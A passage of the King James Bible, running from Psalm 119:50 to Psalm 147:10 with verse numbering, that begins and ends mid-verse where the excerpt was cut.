comfort in my affliction: for thy word hath +quickened me. + +119:51 The proud have had me greatly in derision: yet have I not +declined from thy law. + +119:52 I remembered thy judgments of old, O LORD; and have comforted +myself. + +119:53 Horror hath taken hold upon me because of the wicked that +forsake thy law. + +119:54 Thy statutes have been my songs in the house of my pilgrimage. + +119:55 I have remembered thy name, O LORD, in the night, and have kept +thy law. + +119:56 This I had, because I kept thy precepts. + +119:57 Thou art my portion, O LORD: I have said that I would keep thy +words. + +119:58 I intreated thy favour with my whole heart: be merciful unto me +according to thy word. + +119:59 I thought on my ways, and turned my feet unto thy testimonies. + +119:60 I made haste, and delayed not to keep thy commandments. + +119:61 The bands of the wicked have robbed me: but I have not +forgotten thy law. + +119:62 At midnight I will rise to give thanks unto thee because of thy +righteous judgments. + +119:63 I am a companion of all them that fear thee, and of them that +keep thy precepts. + +119:64 The earth, O LORD, is full of thy mercy: teach me thy statutes. + +119:65 Thou hast dealt well with thy servant, O LORD, according unto +thy word. + +119:66 Teach me good judgment and knowledge: for I have believed thy +commandments. + +119:67 Before I was afflicted I went astray: but now have I kept thy +word. + +119:68 Thou art good, and doest good; teach me thy statutes. + +119:69 The proud have forged a lie against me: but I will keep thy +precepts with my whole heart. + +119:70 Their heart is as fat as grease; but I delight in thy law. + +119:71 It is good for me that I have been afflicted; that I might +learn thy statutes. + +119:72 The law of thy mouth is better unto me than thousands of gold +and silver. + +119:73 Thy hands have made me and fashioned me: give me understanding, +that I may learn thy commandments. + +119:74 They that fear thee will be glad when they see me; because I +have hoped in thy word. + +119:75 I know, O LORD, that thy judgments are right, and that thou in +faithfulness hast afflicted me. + +119:76 Let, I pray thee, thy merciful kindness be for my comfort, +according to thy word unto thy servant. + +119:77 Let thy tender mercies come unto me, that I may live: for thy +law is my delight. + +119:78 Let the proud be ashamed; for they dealt perversely with me +without a cause: but I will meditate in thy precepts. + +119:79 Let those that fear thee turn unto me, and those that have +known thy testimonies. + +119:80 Let my heart be sound in thy statutes; that I be not ashamed. + +119:81 My soul fainteth for thy salvation: but I hope in thy word. + +119:82 Mine eyes fail for thy word, saying, When wilt thou comfort me? + +119:83 For I am become like a bottle in the smoke; yet do I not forget +thy statutes. + +119:84 How many are the days of thy servant? when wilt thou execute +judgment on them that persecute me? + +119:85 The proud have digged pits for me, which are not after thy law. + +119:86 All thy commandments are faithful: they persecute me +wrongfully; help thou me. + +119:87 They had almost consumed me upon earth; but I forsook not thy +precepts. + +119:88 Quicken me after thy lovingkindness; so shall I keep the +testimony of thy mouth. + +119:89 For ever, O LORD, thy word is settled in heaven. + +119:90 Thy faithfulness is unto all generations: thou hast established +the earth, and it abideth. + +119:91 They continue this day according to thine ordinances: for all +are thy servants. + +119:92 Unless thy law had been my delights, I should then have +perished in mine affliction. + +119:93 I will never forget thy precepts: for with them thou hast +quickened me. + +119:94 I am thine, save me: for I have sought thy precepts. + +119:95 The wicked have waited for me to destroy me: but I will +consider thy testimonies. + +119:96 I have seen an end of all perfection: but thy commandment is +exceeding broad. + +119:97 O how I love thy law! it is my meditation all the day. + +119:98 Thou through thy commandments hast made me wiser than mine +enemies: for they are ever with me. + +119:99 I have more understanding than all my teachers: for thy +testimonies are my meditation. + +119:100 I understand more than the ancients, because I keep thy +precepts. + +119:101 I have refrained my feet from every evil way, that I might +keep thy word. + +119:102 I have not departed from thy judgments: for thou hast taught +me. + +119:103 How sweet are thy words unto my taste! yea, sweeter than honey +to my mouth! + +119:104 Through thy precepts I get understanding: therefore I hate +every false way. + +119:105 Thy word is a lamp unto my feet, and a light unto my path. + +119:106 I have sworn, and I will perform it, that I will keep thy +righteous judgments. + +119:107 I am afflicted very much: quicken me, O LORD, according unto +thy word. + +119:108 Accept, I beseech thee, the freewill offerings of my mouth, O +LORD, and teach me thy judgments. + +119:109 My soul is continually in my hand: yet do I not forget thy +law. + +119:110 The wicked have laid a snare for me: yet I erred not from thy +precepts. + +119:111 Thy testimonies have I taken as an heritage for ever: for they +are the rejoicing of my heart. + +119:112 I have inclined mine heart to perform thy statutes alway, even +unto the end. + +119:113 I hate vain thoughts: but thy law do I love. + +119:114 Thou art my hiding place and my shield: I hope in thy word. + +119:115 Depart from me, ye evildoers: for I will keep the commandments +of my God. + +119:116 Uphold me according unto thy word, that I may live: and let me +not be ashamed of my hope. + +119:117 Hold thou me up, and I shall be safe: and I will have respect +unto thy statutes continually. + +119:118 Thou hast trodden down all them that err from thy statutes: +for their deceit is falsehood. + +119:119 Thou puttest away all the wicked of the earth like dross: +therefore I love thy testimonies. + +119:120 My flesh trembleth for fear of thee; and I am afraid of thy +judgments. + +119:121 I have done judgment and justice: leave me not to mine +oppressors. + +119:122 Be surety for thy servant for good: let not the proud oppress +me. + +119:123 Mine eyes fail for thy salvation, and for the word of thy +righteousness. + +119:124 Deal with thy servant according unto thy mercy, and teach me +thy statutes. + +119:125 I am thy servant; give me understanding, that I may know thy +testimonies. + +119:126 It is time for thee, LORD, to work: for they have made void +thy law. + +119:127 Therefore I love thy commandments above gold; yea, above fine +gold. + +119:128 Therefore I esteem all thy precepts concerning all things to +be right; and I hate every false way. + +119:129 Thy testimonies are wonderful: therefore doth my soul keep +them. + +119:130 The entrance of thy words giveth light; it giveth +understanding unto the simple. + +119:131 I opened my mouth, and panted: for I longed for thy +commandments. + +119:132 Look thou upon me, and be merciful unto me, as thou usest to +do unto those that love thy name. + +119:133 Order my steps in thy word: and let not any iniquity have +dominion over me. + +119:134 Deliver me from the oppression of man: so will I keep thy +precepts. + +119:135 Make thy face to shine upon thy servant; and teach me thy +statutes. + +119:136 Rivers of waters run down mine eyes, because they keep not thy +law. + +119:137 Righteous art thou, O LORD, and upright are thy judgments. + +119:138 Thy testimonies that thou hast commanded are righteous and +very faithful. + +119:139 My zeal hath consumed me, because mine enemies have forgotten +thy words. + +119:140 Thy word is very pure: therefore thy servant loveth it. + +119:141 I am small and despised: yet do not I forget thy precepts. + +119:142 Thy righteousness is an everlasting righteousness, and thy law +is the truth. + +119:143 Trouble and anguish have taken hold on me: yet thy +commandments are my delights. + +119:144 The righteousness of thy testimonies is everlasting: give me +understanding, and I shall live. + +119:145 I cried with my whole heart; hear me, O LORD: I will keep thy +statutes. + +119:146 I cried unto thee; save me, and I shall keep thy testimonies. + +119:147 I prevented the dawning of the morning, and cried: I hoped in +thy word. + +119:148 Mine eyes prevent the night watches, that I might meditate in +thy word. + +119:149 Hear my voice according unto thy lovingkindness: O LORD, +quicken me according to thy judgment. + +119:150 They draw nigh that follow after mischief: they are far from +thy law. + +119:151 Thou art near, O LORD; and all thy commandments are truth. + +119:152 Concerning thy testimonies, I have known of old that thou hast +founded them for ever. + +119:153 Consider mine affliction, and deliver me: for I do not forget +thy law. + +119:154 Plead my cause, and deliver me: quicken me according to thy +word. + +119:155 Salvation is far from the wicked: for they seek not thy +statutes. + +119:156 Great are thy tender mercies, O LORD: quicken me according to +thy judgments. + +119:157 Many are my persecutors and mine enemies; yet do I not decline +from thy testimonies. + +119:158 I beheld the transgressors, and was grieved; because they kept +not thy word. + +119:159 Consider how I love thy precepts: quicken me, O LORD, +according to thy lovingkindness. + +119:160 Thy word is true from the beginning: and every one of thy +righteous judgments endureth for ever. + +119:161 Princes have persecuted me without a cause: but my heart +standeth in awe of thy word. + +119:162 I rejoice at thy word, as one that findeth great spoil. + +119:163 I hate and abhor lying: but thy law do I love. + +119:164 Seven times a day do I praise thee because of thy righteous +judgments. + +119:165 Great peace have they which love thy law: and nothing shall +offend them. + +119:166 LORD, I have hoped for thy salvation, and done thy +commandments. + +119:167 My soul hath kept thy testimonies; and I love them +exceedingly. + +119:168 I have kept thy precepts and thy testimonies: for all my ways +are before thee. + +119:169 Let my cry come near before thee, O LORD: give me +understanding according to thy word. + +119:170 Let my supplication come before thee: deliver me according to +thy word. + +119:171 My lips shall utter praise, when thou hast taught me thy +statutes. + +119:172 My tongue shall speak of thy word: for all thy commandments +are righteousness. + +119:173 Let thine hand help me; for I have chosen thy precepts. + +119:174 I have longed for thy salvation, O LORD; and thy law is my +delight. + +119:175 Let my soul live, and it shall praise thee; and let thy +judgments help me. + +119:176 I have gone astray like a lost sheep; seek thy servant; for I +do not forget thy commandments. + + + +120:1 In my distress I cried unto the LORD, and he heard me. + +120:2 Deliver my soul, O LORD, from lying lips, and from a deceitful +tongue. + +120:3 What shall be given unto thee? or what shall be done unto thee, +thou false tongue? + +120:4 Sharp arrows of the mighty, with coals of juniper. + +120:5 Woe is me, that I sojourn in Mesech, that I dwell in the tents +of Kedar! + +120:6 My soul hath long dwelt with him that hateth peace. + +120:7 I am for peace: but when I speak, they are for war. + + + +121:1 I will lift up mine eyes unto the hills, from whence cometh my +help. + +121:2 My help cometh from the LORD, which made heaven and earth. + +121:3 He will not suffer thy foot to be moved: he that keepeth thee +will not slumber. + +121:4 Behold, he that keepeth Israel shall neither slumber nor sleep. + +121:5 The LORD is thy keeper: the LORD is thy shade upon thy right +hand. + +121:6 The sun shall not smite thee by day, nor the moon by night. + +121:7 The LORD shall preserve thee from all evil: he shall preserve +thy soul. + +121:8 The LORD shall preserve thy going out and thy coming in from +this time forth, and even for evermore. + + + +122:1 I was glad when they said unto me, Let us go into the house of +the LORD. + +122:2 Our feet shall stand within thy gates, O Jerusalem. + +122:3 Jerusalem is builded as a city that is compact together: + +122:4 Whither the tribes go up, the tribes of the LORD, unto the +testimony of Israel, to give thanks unto the name of the LORD. + +122:5 For there are set thrones of judgment, the thrones of the house +of David. + +122:6 Pray for the peace of Jerusalem: they shall prosper that love +thee. + +122:7 Peace be within thy walls, and prosperity within thy palaces. + +122:8 For my brethren and companions' sakes, I will now say, Peace be +within thee. + +122:9 Because of the house of the LORD our God I will seek thy good. + + + +123:1 Unto thee lift I up mine eyes, O thou that dwellest in the +heavens. + +123:2 Behold, as the eyes of servants look unto the hand of their +masters, and as the eyes of a maiden unto the hand of her mistress; so +our eyes wait upon the LORD our God, until that he have mercy upon us. + +123:3 Have mercy upon us, O LORD, have mercy upon us: for we are +exceedingly filled with contempt. + +123:4 Our soul is exceedingly filled with the scorning of those that +are at ease, and with the contempt of the proud. + + + +124:1 If it had not been the LORD who was on our side, now may Israel +say; + +124:2 If it had not been the LORD who was on our side, when men rose +up against us: + +124:3 Then they had swallowed us up quick, when their wrath was +kindled against us: + +124:4 Then the waters had overwhelmed us, the stream had gone over our +soul: + +124:5 Then the proud waters had gone over our soul. + +124:6 Blessed be the LORD, who hath not given us as a prey to their +teeth. + +124:7 Our soul is escaped as a bird out of the snare of the fowlers: +the snare is broken, and we are escaped. + +124:8 Our help is in the name of the LORD, who made heaven and earth. + + + +125:1 They that trust in the LORD shall be as mount Zion, which cannot +be removed, but abideth for ever. + +125:2 As the mountains are round about Jerusalem, so the LORD is round +about his people from henceforth even for ever. + +125:3 For the rod of the wicked shall not rest upon the lot of the +righteous; lest the righteous put forth their hands unto iniquity. + +125:4 Do good, O LORD, unto those that be good, and to them that are +upright in their hearts. + +125:5 As for such as turn aside unto their crooked ways, the LORD +shall lead them forth with the workers of iniquity: but peace shall be +upon Israel. + + + +126:1 When the LORD turned again the captivity of Zion, we were like +them that dream. + +126:2 Then was our mouth filled with laughter, and our tongue with +singing: then said they among the heathen, The LORD hath done great +things for them. + +126:3 The LORD hath done great things for us; whereof we are glad. + +126:4 Turn again our captivity, O LORD, as the streams in the south. + +126:5 They that sow in tears shall reap in joy. + +126:6 He that goeth forth and weepeth, bearing precious seed, shall +doubtless come again with rejoicing, bringing his sheaves with him. + + + +127:1 Except the LORD build the house, they labour in vain that build +it: except the LORD keep the city, the watchman waketh but in vain. + +127:2 It is vain for you to rise up early, to sit up late, to eat the +bread of sorrows: for so he giveth his beloved sleep. + +127:3 Lo, children are an heritage of the LORD: and the fruit of the +womb is his reward. + +127:4 As arrows are in the hand of a mighty man; so are children of +the youth. + +127:5 Happy is the man that hath his quiver full of them: they shall +not be ashamed, but they shall speak with the enemies in the gate. + + + +128:1 Blessed is every one that feareth the LORD; that walketh in his +ways. + +128:2 For thou shalt eat the labour of thine hands: happy shalt thou +be, and it shall be well with thee. + +128:3 Thy wife shall be as a fruitful vine by the sides of thine +house: thy children like olive plants round about thy table. + +128:4 Behold, that thus shall the man be blessed that feareth the +LORD. + +128:5 The LORD shall bless thee out of Zion: and thou shalt see the +good of Jerusalem all the days of thy life. + +128:6 Yea, thou shalt see thy children's children, and peace upon +Israel. + + + +129:1 Many a time have they afflicted me from my youth, may Israel now +say: + +129:2 Many a time have they afflicted me from my youth: yet they have +not prevailed against me. + +129:3 The plowers plowed upon my back: they made long their furrows. + +129:4 The LORD is righteous: he hath cut asunder the cords of the +wicked. + +129:5 Let them all be confounded and turned back that hate Zion. + +129:6 Let them be as the grass upon the housetops, which withereth +afore it groweth up: + +129:7 Wherewith the mower filleth not his hand; nor he that bindeth +sheaves his bosom. + +129:8 Neither do they which go by say, The blessing of the LORD be +upon you: we bless you in the name of the LORD. + + + +130:1 Out of the depths have I cried unto thee, O LORD. + +130:2 Lord, hear my voice: let thine ears be attentive to the voice of +my supplications. + +130:3 If thou, LORD, shouldest mark iniquities, O Lord, who shall +stand? + +130:4 But there is forgiveness with thee, that thou mayest be feared. + +130:5 I wait for the LORD, my soul doth wait, and in his word do I +hope. + +130:6 My soul waiteth for the Lord more than they that watch for the +morning: I say, more than they that watch for the morning. + +130:7 Let Israel hope in the LORD: for with the LORD there is mercy, +and with him is plenteous redemption. + +130:8 And he shall redeem Israel from all his iniquities. + + + +131:1 Lord, my heart is not haughty, nor mine eyes lofty: neither do I +exercise myself in great matters, or in things too high for me. + +131:2 Surely I have behaved and quieted myself, as a child that is +weaned of his mother: my soul is even as a weaned child. + +131:3 Let Israel hope in the LORD from henceforth and for ever. + + + +132:1 Lord, remember David, and all his afflictions: + +132:2 How he sware unto the LORD, and vowed unto the mighty God of +Jacob; + +132:3 Surely I will not come into the tabernacle of my house, nor go +up into my bed; + +132:4 I will not give sleep to mine eyes, or slumber to mine eyelids, + +132:5 Until I find out a place for the LORD, an habitation for the +mighty God of Jacob. + +132:6 Lo, we heard of it at Ephratah: we found it in the fields of the +wood. + +132:7 We will go into his tabernacles: we will worship at his +footstool. + +132:8 Arise, O LORD, into thy rest; thou, and the ark of thy strength. + +132:9 Let thy priests be clothed with righteousness; and let thy +saints shout for joy. + +132:10 For thy servant David's sake turn not away the face of thine +anointed. + +132:11 The LORD hath sworn in truth unto David; he will not turn from +it; Of the fruit of thy body will I set upon thy throne. + +132:12 If thy children will keep my covenant and my testimony that I +shall teach them, their children shall also sit upon thy throne for +evermore. + +132:13 For the LORD hath chosen Zion; he hath desired it for his +habitation. + +132:14 This is my rest for ever: here will I dwell; for I have desired +it. + +132:15 I will abundantly bless her provision: I will satisfy her poor +with bread. + +132:16 I will also clothe her priests with salvation: and her saints +shall shout aloud for joy. + +132:17 There will I make the horn of David to bud: I have ordained a +lamp for mine anointed. + +132:18 His enemies will I clothe with shame: but upon himself shall +his crown flourish. + + + +133:1 Behold, how good and how pleasant it is for brethren to dwell +together in unity! + +133:2 It is like the precious ointment upon the head, that ran down +upon the beard, even Aaron's beard: that went down to the skirts of +his garments; + +133:3 As the dew of Hermon, and as the dew that descended upon the +mountains of Zion: for there the LORD commanded the blessing, even +life for evermore. + + + +134:1 Behold, bless ye the LORD, all ye servants of the LORD, which by +night stand in the house of the LORD. + +134:2 Lift up your hands in the sanctuary, and bless the LORD. + +134:3 The LORD that made heaven and earth bless thee out of Zion. + + + +135:1 Praise ye the LORD. Praise ye the name of the LORD; praise him, +O ye servants of the LORD. + +135:2 Ye that stand in the house of the LORD, in the courts of the +house of our God. + +135:3 Praise the LORD; for the LORD is good: sing praises unto his +name; for it is pleasant. + +135:4 For the LORD hath chosen Jacob unto himself, and Israel for his +peculiar treasure. + +135:5 For I know that the LORD is great, and that our Lord is above +all gods. + +135:6 Whatsoever the LORD pleased, that did he in heaven, and in +earth, in the seas, and all deep places. + +135:7 He causeth the vapours to ascend from the ends of the earth; he +maketh lightnings for the rain; he bringeth the wind out of his +treasuries. + +135:8 Who smote the firstborn of Egypt, both of man and beast. + +135:9 Who sent tokens and wonders into the midst of thee, O Egypt, +upon Pharaoh, and upon all his servants. + +135:10 Who smote great nations, and slew mighty kings; + +135:11 Sihon king of the Amorites, and Og king of Bashan, and all the +kingdoms of Canaan: + +135:12 And gave their land for an heritage, an heritage unto Israel +his people. + +135:13 Thy name, O LORD, endureth for ever; and thy memorial, O LORD, +throughout all generations. + +135:14 For the LORD will judge his people, and he will repent himself +concerning his servants. + +135:15 The idols of the heathen are silver and gold, the work of men's +hands. + +135:16 They have mouths, but they speak not; eyes have they, but they +see not; + +135:17 They have ears, but they hear not; neither is there any breath +in their mouths. + +135:18 They that make them are like unto them: so is every one that +trusteth in them. + +135:19 Bless the LORD, O house of Israel: bless the LORD, O house of +Aaron: + +135:20 Bless the LORD, O house of Levi: ye that fear the LORD, bless +the LORD. + +135:21 Blessed be the LORD out of Zion, which dwelleth at Jerusalem. + +Praise ye the LORD. + + + +136:1 O give thanks unto the LORD; for he is good: for his mercy +endureth for ever. + +136:2 O give thanks unto the God of gods: for his mercy endureth for +ever. + +136:3 O give thanks to the Lord of lords: for his mercy endureth for +ever. + +136:4 To him who alone doeth great wonders: for his mercy endureth for +ever. + +136:5 To him that by wisdom made the heavens: for his mercy endureth +for ever. + +136:6 To him that stretched out the earth above the waters: for his +mercy endureth for ever. + +136:7 To him that made great lights: for his mercy endureth for ever: + +136:8 The sun to rule by day: for his mercy endureth for ever: + +136:9 The moon and stars to rule by night: for his mercy endureth for +ever. + +136:10 To him that smote Egypt in their firstborn: for his mercy +endureth for ever: + +136:11 And brought out Israel from among them: for his mercy endureth +for ever: + +136:12 With a strong hand, and with a stretched out arm: for his mercy +endureth for ever. + +136:13 To him which divided the Red sea into parts: for his mercy +endureth for ever: + +136:14 And made Israel to pass through the midst of it: for his mercy +endureth for ever: + +136:15 But overthrew Pharaoh and his host in the Red sea: for his +mercy endureth for ever. + +136:16 To him which led his people through the wilderness: for his +mercy endureth for ever. + +136:17 To him which smote great kings: for his mercy endureth for +ever: + +136:18 And slew famous kings: for his mercy endureth for ever: + +136:19 Sihon king of the Amorites: for his mercy endureth for ever: + +136:20 And Og the king of Bashan: for his mercy endureth for ever: + +136:21 And gave their land for an heritage: for his mercy endureth for +ever: + +136:22 Even an heritage unto Israel his servant: for his mercy +endureth for ever. + +136:23 Who remembered us in our low estate: for his mercy endureth for +ever: + +136:24 And hath redeemed us from our enemies: for his mercy endureth +for ever. + +136:25 Who giveth food to all flesh: for his mercy endureth for ever. + +136:26 O give thanks unto the God of heaven: for his mercy endureth +for ever. + + + +137:1 By the rivers of Babylon, there we sat down, yea, we wept, when +we remembered Zion. + +137:2 We hanged our harps upon the willows in the midst thereof. + +137:3 For there they that carried us away captive required of us a +song; and they that wasted us required of us mirth, saying, Sing us +one of the songs of Zion. + +137:4 How shall we sing the LORD's song in a strange land? + +137:5 If I forget thee, O Jerusalem, let my right hand forget her +cunning. + +137:6 If I do not remember thee, let my tongue cleave to the roof of +my mouth; if I prefer not Jerusalem above my chief joy. + +137:7 Remember, O LORD, the children of Edom in the day of Jerusalem; +who said, Rase it, rase it, even to the foundation thereof. + +137:8 O daughter of Babylon, who art to be destroyed; happy shall he +be, that rewardeth thee as thou hast served us. + +137:9 Happy shall he be, that taketh and dasheth thy little ones +against the stones. + + + +138:1 I will praise thee with my whole heart: before the gods will I +sing praise unto thee. + +138:2 I will worship toward thy holy temple, and praise thy name for +thy lovingkindness and for thy truth: for thou hast magnified thy word +above all thy name. + +138:3 In the day when I cried thou answeredst me, and strengthenedst +me with strength in my soul. + +138:4 All the kings of the earth shall praise thee, O LORD, when they +hear the words of thy mouth. + +138:5 Yea, they shall sing in the ways of the LORD: for great is the +glory of the LORD. + +138:6 Though the LORD be high, yet hath he respect unto the lowly: but +the proud he knoweth afar off. + +138:7 Though I walk in the midst of trouble, thou wilt revive me: thou +shalt stretch forth thine hand against the wrath of mine enemies, and +thy right hand shall save me. + +138:8 The LORD will perfect that which concerneth me: thy mercy, O +LORD, endureth for ever: forsake not the works of thine own hands. + + + +139:1 O lord, thou hast searched me, and known me. + +139:2 Thou knowest my downsitting and mine uprising, thou +understandest my thought afar off. + +139:3 Thou compassest my path and my lying down, and art acquainted +with all my ways. + +139:4 For there is not a word in my tongue, but, lo, O LORD, thou +knowest it altogether. + +139:5 Thou hast beset me behind and before, and laid thine hand upon +me. + +139:6 Such knowledge is too wonderful for me; it is high, I cannot +attain unto it. + +139:7 Whither shall I go from thy spirit? or whither shall I flee from +thy presence? + +139:8 If I ascend up into heaven, thou art there: if I make my bed in +hell, behold, thou art there. + +139:9 If I take the wings of the morning, and dwell in the uttermost +parts of the sea; + +139:10 Even there shall thy hand lead me, and thy right hand shall +hold me. + +139:11 If I say, Surely the darkness shall cover me; even the night +shall be light about me. + +139:12 Yea, the darkness hideth not from thee; but the night shineth +as the day: the darkness and the light are both alike to thee. + +139:13 For thou hast possessed my reins: thou hast covered me in my +mother's womb. + +139:14 I will praise thee; for I am fearfully and wonderfully made: +marvellous are thy works; and that my soul knoweth right well. + +139:15 My substance was not hid from thee, when I was made in secret, +and curiously wrought in the lowest parts of the earth. + +139:16 Thine eyes did see my substance, yet being unperfect; and in +thy book all my members were written, which in continuance were +fashioned, when as yet there was none of them. + +139:17 How precious also are thy thoughts unto me, O God! how great is +the sum of them! + +139:18 If I should count them, they are more in number than the sand: +when I awake, I am still with thee. + +139:19 Surely thou wilt slay the wicked, O God: depart from me +therefore, ye bloody men. + +139:20 For they speak against thee wickedly, and thine enemies take +thy name in vain. + +139:21 Do not I hate them, O LORD, that hate thee? and am not I +grieved with those that rise up against thee? + +139:22 I hate them with perfect hatred: I count them mine enemies. + +139:23 Search me, O God, and know my heart: try me, and know my +thoughts: + +139:24 And see if there be any wicked way in me, and lead me in the +way everlasting. + + + +140:1 Deliver me, O LORD, from the evil man: preserve me from the +violent man; + +140:2 Which imagine mischiefs in their heart; continually are they +gathered together for war. + +140:3 They have sharpened their tongues like a serpent; adders' poison +is under their lips. Selah. + +140:4 Keep me, O LORD, from the hands of the wicked; preserve me from +the violent man; who have purposed to overthrow my goings. + +140:5 The proud have hid a snare for me, and cords; they have spread a +net by the wayside; they have set gins for me. Selah. + +140:6 I said unto the LORD, Thou art my God: hear the voice of my +supplications, O LORD. + +140:7 O GOD the Lord, the strength of my salvation, thou hast covered +my head in the day of battle. + +140:8 Grant not, O LORD, the desires of the wicked: further not his +wicked device; lest they exalt themselves. Selah. + +140:9 As for the head of those that compass me about, let the mischief +of their own lips cover them. + +140:10 Let burning coals fall upon them: let them be cast into the +fire; into deep pits, that they rise not up again. + +140:11 Let not an evil speaker be established in the earth: evil shall +hunt the violent man to overthrow him. + +140:12 I know that the LORD will maintain the cause of the afflicted, +and the right of the poor. + +140:13 Surely the righteous shall give thanks unto thy name: the +upright shall dwell in thy presence. + + + +141:1 Lord, I cry unto thee: make haste unto me; give ear unto my +voice, when I cry unto thee. + +141:2 Let my prayer be set forth before thee as incense; and the +lifting up of my hands as the evening sacrifice. + +141:3 Set a watch, O LORD, before my mouth; keep the door of my lips. + +141:4 Incline not my heart to any evil thing, to practise wicked works +with men that work iniquity: and let me not eat of their dainties. + +141:5 Let the righteous smite me; it shall be a kindness: and let him +reprove me; it shall be an excellent oil, which shall not break my +head: for yet my prayer also shall be in their calamities. + +141:6 When their judges are overthrown in stony places, they shall +hear my words; for they are sweet. + +141:7 Our bones are scattered at the grave's mouth, as when one +cutteth and cleaveth wood upon the earth. + +141:8 But mine eyes are unto thee, O GOD the Lord: in thee is my +trust; leave not my soul destitute. + +141:9 Keep me from the snares which they have laid for me, and the +gins of the workers of iniquity. + +141:10 Let the wicked fall into their own nets, whilst that I withal +escape. + + + +142:1 I cried unto the LORD with my voice; with my voice unto the LORD +did I make my supplication. + +142:2 I poured out my complaint before him; I shewed before him my +trouble. + +142:3 When my spirit was overwhelmed within me, then thou knewest my +path. + +In the way wherein I walked have they privily laid a snare for me. + +142:4 I looked on my right hand, and beheld, but there was no man that +would know me: refuge failed me; no man cared for my soul. + +142:5 I cried unto thee, O LORD: I said, Thou art my refuge and my +portion in the land of the living. + +142:6 Attend unto my cry; for I am brought very low: deliver me from +my persecutors; for they are stronger than I. + +142:7 Bring my soul out of prison, that I may praise thy name: the +righteous shall compass me about; for thou shalt deal bountifully with +me. + + + +143:1 Hear my prayer, O LORD, give ear to my supplications: in thy +faithfulness answer me, and in thy righteousness. + +143:2 And enter not into judgment with thy servant: for in thy sight +shall no man living be justified. + +143:3 For the enemy hath persecuted my soul; he hath smitten my life +down to the ground; he hath made me to dwell in darkness, as those +that have been long dead. + +143:4 Therefore is my spirit overwhelmed within me; my heart within me +is desolate. + +143:5 I remember the days of old; I meditate on all thy works; I muse +on the work of thy hands. + +143:6 I stretch forth my hands unto thee: my soul thirsteth after +thee, as a thirsty land. Selah. + +143:7 Hear me speedily, O LORD: my spirit faileth: hide not thy face +from me, lest I be like unto them that go down into the pit. + +143:8 Cause me to hear thy lovingkindness in the morning; for in thee +do I trust: cause me to know the way wherein I should walk; for I lift +up my soul unto thee. + +143:9 Deliver me, O LORD, from mine enemies: I flee unto thee to hide +me. + +143:10 Teach me to do thy will; for thou art my God: thy spirit is +good; lead me into the land of uprightness. + +143:11 Quicken me, O LORD, for thy name's sake: for thy righteousness' +sake bring my soul out of trouble. + +143:12 And of thy mercy cut off mine enemies, and destroy all them +that afflict my soul: for I am thy servant. + + + +144:1 Blessed be the LORD my strength which teacheth my hands to war, +and my fingers to fight: + +144:2 My goodness, and my fortress; my high tower, and my deliverer; +my shield, and he in whom I trust; who subdueth my people under me. + +144:3 LORD, what is man, that thou takest knowledge of him! or the son +of man, that thou makest account of him! + +144:4 Man is like to vanity: his days are as a shadow that passeth +away. + +144:5 Bow thy heavens, O LORD, and come down: touch the mountains, and +they shall smoke. + +144:6 Cast forth lightning, and scatter them: shoot out thine arrows, +and destroy them. + +144:7 Send thine hand from above; rid me, and deliver me out of great +waters, from the hand of strange children; + +144:8 Whose mouth speaketh vanity, and their right hand is a right +hand of falsehood. + +144:9 I will sing a new song unto thee, O God: upon a psaltery and an +instrument of ten strings will I sing praises unto thee. + +144:10 It is he that giveth salvation unto kings: who delivereth David +his servant from the hurtful sword. + +144:11 Rid me, and deliver me from the hand of strange children, whose +mouth speaketh vanity, and their right hand is a right hand of +falsehood: + +144:12 That our sons may be as plants grown up in their youth; that +our daughters may be as corner stones, polished after the similitude +of a palace: + +144:13 That our garners may be full, affording all manner of store: +that our sheep may bring forth thousands and ten thousands in our +streets: + +144:14 That our oxen may be strong to labour; that there be no +breaking in, nor going out; that there be no complaining in our +streets. + +144:15 Happy is that people, that is in such a case: yea, happy is +that people, whose God is the LORD. + + + +145:1 I will extol thee, my God, O king; and I will bless thy name for +ever and ever. + +145:2 Every day will I bless thee; and I will praise thy name for ever +and ever. + +145:3 Great is the LORD, and greatly to be praised; and his greatness +is unsearchable. + +145:4 One generation shall praise thy works to another, and shall +declare thy mighty acts. + +145:5 I will speak of the glorious honour of thy majesty, and of thy +wondrous works. + +145:6 And men shall speak of the might of thy terrible acts: and I +will declare thy greatness. + +145:7 They shall abundantly utter the memory of thy great goodness, +and shall sing of thy righteousness. + +145:8 The LORD is gracious, and full of compassion; slow to anger, and +of great mercy. + +145:9 The LORD is good to all: and his tender mercies are over all his +works. + +145:10 All thy works shall praise thee, O LORD; and thy saints shall +bless thee. + +145:11 They shall speak of the glory of thy kingdom, and talk of thy +power; + +145:12 To make known to the sons of men his mighty acts, and the +glorious majesty of his kingdom. + +145:13 Thy kingdom is an everlasting kingdom, and thy dominion +endureth throughout all generations. + +145:14 The LORD upholdeth all that fall, and raiseth up all those that +be bowed down. + +145:15 The eyes of all wait upon thee; and thou givest them their meat +in due season. + +145:16 Thou openest thine hand, and satisfiest the desire of every +living thing. + +145:17 The LORD is righteous in all his ways, and holy in all his +works. + +145:18 The LORD is nigh unto all them that call upon him, to all that +call upon him in truth. + +145:19 He will fulfil the desire of them that fear him: he also will +hear their cry, and will save them. + +145:20 The LORD preserveth all them that love him: but all the wicked +will he destroy. + +145:21 My mouth shall speak the praise of the LORD: and let all flesh +bless his holy name for ever and ever. + + + +146:1 Praise ye the LORD. Praise the LORD, O my soul. + +146:2 While I live will I praise the LORD: I will sing praises unto my +God while I have any being. + +146:3 Put not your trust in princes, nor in the son of man, in whom +there is no help. + +146:4 His breath goeth forth, he returneth to his earth; in that very +day his thoughts perish. + +146:5 Happy is he that hath the God of Jacob for his help, whose hope +is in the LORD his God: + +146:6 Which made heaven, and earth, the sea, and all that therein is: +which keepeth truth for ever: + +146:7 Which executeth judgment for the oppressed: which giveth food to +the hungry. The LORD looseth the prisoners: + +146:8 The LORD openeth the eyes of the blind: the LORD raiseth them +that are bowed down: the LORD loveth the righteous: + +146:9 The LORD preserveth the strangers; he relieveth the fatherless +and widow: but the way of the wicked he turneth upside down. + +146:10 The LORD shall reign for ever, even thy God, O Zion, unto all +generations. Praise ye the LORD. + + + +147:1 Praise ye the LORD: for it is good to sing praises unto our God; +for it is pleasant; and praise is comely. + +147:2 The LORD doth build up Jerusalem: he gathereth together the +outcasts of Israel. + +147:3 He healeth the broken in heart, and bindeth up their wounds. + +147:4 He telleth the number of the stars; he calleth them all by their +names. + +147:5 Great is our Lord, and of great power: his understanding is +infinite. + +147:6 The LORD lifteth up the meek: he casteth the wicked down to the +ground. + +147:7 Sing unto the LORD with thanksgiving; sing praise upon the harp +unto our God: + +147:8 Who covereth the heaven with clouds, who prepareth rain for the +earth, who maketh grass to grow upon the mountains. + +147:9 He giveth to the beast his food, and to the young ravens which +cry. + +147:10 He 